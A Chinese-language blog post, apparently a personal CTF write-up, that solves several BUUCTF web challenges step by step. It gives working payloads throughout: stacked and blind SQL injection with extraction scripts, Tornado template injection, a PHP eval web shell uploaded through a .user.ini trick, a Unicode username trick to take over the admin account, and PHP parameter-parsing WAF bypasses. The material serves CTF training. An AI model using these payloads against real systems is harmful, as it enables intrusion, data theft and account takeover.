zoukankan      html  css  js  c++  java
  • 【web】BUUCTF-web刷题记录

    本来一题一篇文章,结果发现太浪费了,所以整合起来了,这篇博文就记录 BUUCTF 的  web 题目的题解吧!

    随便注

    随便输入一个单引号,报错

    order by 3就不行了

    尝试联合查询的时候出现提示:

    "/select|update|delete|drop|insert|where|./i"

    一个正则可视化网站:https://regexper.com

     使用堆叠注入:1';show tables;#

    看一下表里有什么列名:1';show columns from `1919810931114514`;#

    (注意,字符串为表名的表操作时要加反引号)

    但是没办法使用 select * from `1919810931114514`

    看网上师傅们有两种方法,第一种:mysql 预定义语句

    1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare execsql from @a;execute execsql;#
    
    hex decode 以后是:?inject=1';SeT@a=select * from `1919810931114514`;Prepare execsql from @a;execute execsql;#

     

    还有一种方法时是:改表名 这样查询的时候就可以查询到 flag

    ?inject=1';
    rename tables `words` to `test`;rename tables `1919810931114514` to `words`;
    alter table `words` change `flag` `id` varchar(100);#

    意思分别是:把 words 表改名为 test,把 1919810931114541 改名为 words

    把列名 flag 改为 id

    这样在 1'; or 1=1# 查询的时候就会把所有的都列出来,这样就可以看到 flag 了

    easy_tornado

    打开看到有三个文件:

    三个文件内容如下:

    通过 url 知道,访问一个文件需要知道:filename 跟 filehash

    企图直接访问是不行的,想到了 burp 抓包,但是抓了半天没抓到,看了网上的 wp 是 模版注入

    tornado 是一个 python 的模板,welcome.txt 中的 render 是 python 中的一个渲染函数,

    报错时候的 url 是这样的

    尝试把后面换成:{{111}},输出了!

    在 tornado 模板中,存在一些可以访问的快速对象,例如:

     <title>
         {{ escape(handler.settings["cookie"]) }}
     </title>

    那么输入:{{handler.settings}}

    拿到 cookie 就 OK 了!

    import hashlib
    def md5value(s):
        md5 = hashlib.md5() 
        md5.update(s) 
        return md5.hexdigest()
    def jiami(): 
        filename = '/fllllllllllllag'
        cookie_s ="ea7d75de-4ca5-486a-a69c-e690f3a8c217"
        print(md5value(filename.encode('utf-8')))
        x=md5value(filename.encode('utf-8'))
        y=cookie_s+xprint(md5value(y.encode('utf-8')))
    jiami()

    EasySQL

    这道题目有两种解法,一种是:*,1,这样查询结果会把表中所有的数据返回来(据说是非预期解,出题人可能忘记过滤掉*了)

    还有一种说是考察sql_mode,通过堆叠注入修改sql_mode,

    可以通过修改 sql_mode 模式 : PIPES_AS_CONCAT 来实现将 || 视为字符串连接符而非 或 运算符 

    因此这里预期的 Payload 是通过修改 sql_mode 来拿到 Flag 

    Payload : 

    1;set sql_mode=PIPES_AS_CONCAT;SELECT 1

    拼接后就变成了

    SELECT 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1 || flag FROM Flag
    

    高明的黑客

    访问提示源码在 www.tar.gz

    在网址后面加上 www.tar.gz 是可以下载下来的

    下下来里面超级多 php 文件,用大佬的 python 脚本筛选出来

    import os,re
    import requests
    filenames = os.listdir('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/')
    pattern = re.compile(r"$_[GEPOST]{3,4}[.*]")
    for name in filenames:
        print(name)
        with open('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/'+name,'r') as f:
            data = f.read()
        result = list(set(pattern.findall(data)))
    
        for ret in result:
            try:
                command = 'echo "got it"'
                flag = 'got it'
                # command = 'phpinfo();'
                # flag = 'phpinfo'
                if 'GET' in ret:
                    passwd = re.findall(r"'(.*)'",ret)[0]
                    r = requests.get(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name + '?' + passwd + '='+ command)
                    if "got it" in r.text:
                        print('backdoor file is: ' + name)
                        print('GET:  ' + passwd)
                elif 'POST' in ret:
                    passwd = re.findall(r"'(.*)'",ret)[0]
                    r = requests.post(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name,data={passwd:command})
                    if "got it" in r.text:
                        print('backdoor file is: ' + name)
                        print('POST:  ' + passwd)
            except : pass

     我参考的网上的 wp 直接把 x 开头之前的 php 文件删掉了,不然要跑很长时间(php 版本要用 7 以上的)

    访问 xk0SzyKwfzw.php?Efa5BVG= cat /flag 得到 flag

    admin

    网上的 wp 有三个方法,这里只记录一个,Unicode 欺骗

    https://www.anquanke.com/post/id/164086

    注册用户:ᴬdmin 

    会将其变成:Admin

    修改密码的时候会变成:admin

    这样就可以直接访问 admin 用户

    checkin

    拿到题目,是一个上传界面

    尝试上传,php 显示非法后缀,传图马显示内容里面有 <?

    尝试这样的:

    GIF89a
    <script language="php">eval ($_POST['yichen']);</script>

    成功上传,同时还显示了文件夹下的内容 

    想上传 .htaccess 把图片马解析成为 php 但是失败了

    看 wp 以后学到了 .user.ini 来上传后门

    了解一下,先从 php.ini 说起 php.ini 是 php 的默认配置文件,其中包括了很多 php 的配置

    其中 PHP_INI_USER 的配置项,可以在 ini_set () 函数中设置、注册表中设置,再就是.user.ini 中设置可以理解为 php 是允许用户自定义的 php.ini

    实际上,除了 PHP_INI_SYSTEM 以外的模式(包括 PHP_INI_ALL)都是可以通过.user.ini 来设置的

    而且 php.ini 是种动态加载的 ini 文件,不需要重启服务,只需要等待user_ini.cache_ttl 所设置的时间(默认300秒)就可以

    需要看的是这两个选项,它们的作用是指定一个文件,会自动把这个文件包含在其他要执行的文件里面,相当于 require()

    使用方法很简单,只需要在 .user.ini 文件中写:

    auto_prepend_file=文件名(比如:yichen.jpg)

    解题:先上传一个 .user.ini 文件

    在上传一个 yichen.jpg 文件

    然后在访问同一文件夹下的 index.php 就可以得到 flag 了

     Hack World

    sql注入题目,通过基于时间的盲注可以测出来,但是不会写脚本,懒得一个一个测,看了师傅们的wp

     师傅们用了 异或 这种操作,长见识了,师傅们的 WP:

    (意识到应该整理一些 sqli 的 FUZZ 字典

    import requests
    from lxml import etree
    def a():
        url="http://af100f25-ad84-449a-98cc-64ef4e7fda40.node3.buuoj.cn"
        flag="Hello, glzjin wants a girlfriend."
        final=""
        stop=0
        for i in range(1,1290):
             print("*"*50,i,"*"*50)
             stop=0
             for j in range(32,129):
                 stop = j
                 data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)}
                 re = requests.post(url=url,data=data).text.replace('
    ','')
                 html = etree.HTML(re).xpath("//text()")
                 # print(">>",html)
                 if flag in html:
                      final+=chr(j)
                      print("
    				",final)
                      break
    
             if stop >= 128:
                print("*"*50,"结束")
                print(">>",final)
                break
    
    if __name__ == '__main__':
           a()

     Easy Cacl

     PHP 字符串解析特性

     当 php 查询字符串进行解析的时候会将某些字符删除或用下划线代替

    参考:https://www.freebuf.com/articles/web/213359.html

    在 freebuf 的文章中,发现了上面这些是可以被用来替换的

    用到这道题目上来, WAF 的存在使得没法给 num 传字符,但是如果在 num 前面加上个空格,那样 WAF 在检测的时候就不会检测到 num 这个参数,但是 PHP在解析的时候会把空格删掉,这样就可以命令执行了,同时 calc.php 中还有个黑名单,可以使用 chr() 来绕过

    查看目录

    calc.php? num=1;var_dump(scandir(chr(47)))

    查看 flag

    calc.php? num=1;var_dump(readfile(chr(47).f1agg))

    不太明白为啥直接f1agg不行

  • 相关阅读:
    python基础-->流程控制-->分支结构-->单项分支-->双向分支
    python 控制语句基础---->代码块:以为冒号作为开始,用缩进来划分作用域,代表一个整体,是一个代码块,一个文件(模块)也称为一个代码块 | 作用域:作用的范围
    python基础语法
    Python Built-in Function 学习笔记
    身份证运算符 is 和 is not(检查两个数据在内存当中是否是同一个值) | 逻辑运算符 and or not | 数据类型的判断 isinstance
    算数运算符: +
    变量存储缓存机制 Number (int bool float complex)
    关于容器类型数据的强转一共:str() list() set() tuple() dict() 都可以转换成对应的数据类型 /Number 数据类型的强转一共: int() bool() flaot() complex() 都可以转换成对应的数据类型
    python 容器类型数据 (str list tuple set dict)
    Number 强制类型转换 int 强制转换整型 float 强制转换浮点型 complex 强制转换成复数 bool 强制转换成布尔类型,结果只有两种,要么True 要么 False """bool 可以转换所有的数据类型 everything"""
  • 原文地址:https://www.cnblogs.com/yichen115/p/11513171.html
Copyright © 2011-2022 走看看